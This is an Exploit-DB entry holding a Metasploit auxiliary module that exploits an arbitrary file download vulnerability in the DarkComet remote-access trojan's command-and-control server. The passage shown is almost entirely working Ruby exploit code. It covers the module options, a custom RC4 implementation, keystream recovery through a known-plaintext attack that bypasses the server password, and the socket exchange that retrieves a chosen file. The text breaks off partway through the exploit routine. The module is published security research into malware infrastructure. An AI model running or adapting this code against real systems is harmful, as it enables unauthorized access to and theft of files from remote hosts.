Exploit-DB #39985
Description: DarkComet Server - Arbitrary File Download (Metasploit)
Type: remote
Platform: windows
Date: 2016-06-21
Author: Jos Wetzels

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DarkComet Server Remote File Download Exploit',
      'Description'    => %q{
        This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up.
        The exploit does not need to know the password chosen for the bot/server communication.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery
          'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack
        ],
      'References'     =>
        [
          [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ],
          [ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ]
        ],
      'DisclosureDate' => 'Oct 08 2012',
      'Platform'       => 'win'
    ))

    register_options(
      [
        Opt::RPORT(1604),
        Opt::RHOST('0.0.0.0'),

        OptString.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']),
        OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']),
        OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]),
        OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']),
        OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]),
        OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1])

      ], self.class)
  end

  # Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext
  def xor_strings(s1, s2)
    s1.unpack('C*').zip(s2.unpack('C*')).map { |a, b| a ^ b }.pack('C*')
  end

  def get_keystream(ciphertext, known_plaintext)
    c = [ciphertext].pack('H*')
    if known_plaintext.length > c.length
      return xor_strings(c, known_plaintext[0, c.length])
    elsif c.length > known_plaintext.length
      return xor_strings(c[0, known_plaintext.length], known_plaintext)
    else
      return xor_strings(c, known_plaintext)
    end
  end

  def use_keystream(plaintext, keystream)
    if keystream.length > plaintext.length
      return xor_strings(plaintext, keystream[0, plaintext.length]).unpack('H*')[0].upcase
    else
      return xor_strings(plaintext, keystream).unpack('H*')[0].upcase
    end
  end

  # Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)
  # since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength
  def rc4_initialize(key)
    @q1 = 0
    @q2 = 0
    @key = []
    key.each_byte { |elem| @key << elem } while @key.size < 256
    @key.slice!(256..@key.size - 1) if @key.size >= 256
    @s = (0..255).to_a
    j = 0
    0.upto(255) do |i|
      j = (j + @s[i] + @key[i]) % 256
      @s[i], @s[j] = @s[j], @s[i]
    end
  end

  def rc4_keystream
    @q1 = (@q1 + 1) % 256
    @q2 = (@q2 + @s[@q1]) % 256
    @s[@q1], @s[@q2] = @s[@q2], @s[@q1]
    @s[(@s[@q1] + @s[@q2]) % 256]
  end

  def rc4_process(text)
    text.each_byte.map { |i| (i ^ rc4_keystream).chr }.join
  end

  def dc_encryptpacket(plaintext, key)
    rc4_initialize(key)
    rc4_process(plaintext).unpack('H*')[0].upcase
  end

  # Try to execute the exploit
  def try_exploit(exploit_string, keystream, bruting)
    connect
    idtype_msg = sock.get_once(12)

    if idtype_msg.length != 12
      disconnect
      return nil
    end

    if datastore['KEY'] != ''
      exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY'])
    else
      # If we don't have a key we need enough keystream
      if keystream.nil?
        disconnect
        return nil
      end

      if keystream.length < exploit_string.length
        disconnect
        return nil
      end

      exploit_msg = use_keystream(exploit_string, keystream)
    end

    sock.put(exploit_msg)

    if bruting
      begin
        ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT'])
      rescue Timeout::Error
        disconnect
        return nil
      end
    else
      ack_msg = sock.get_once(3)
    end

    if ack_msg != "\x41\x00\x43"
      disconnect
      return nil
    # Different protocol structure for versions >= 5.1
    elsif datastore['NEWVERSION'] == true
      if bruting
        begin
          filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i
        rescue Timeout::Error
          disconnect
          return nil
        end
      else
        filelen = sock.get_once(10).to_i
      end
      if filelen == 0
        disconnect
        return nil
      end

      if datastore['KEY'] != ''
        a_msg = dc_encryptpacket('A', datastore['KEY'])
      else
        a_msg = use_keystream('A', keystream)
      end

      sock.put(a_msg)

      if bruting
        begin
          filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT'])
        rescue Timeout::Error
          disconnect
          return nil
        end
      else
        filedata = sock.get_once(filelen)
      end

      if filedata.length != filelen
        disconnect
        return nil
      end

      sock.put(a_msg)
      disconnect
      return filedata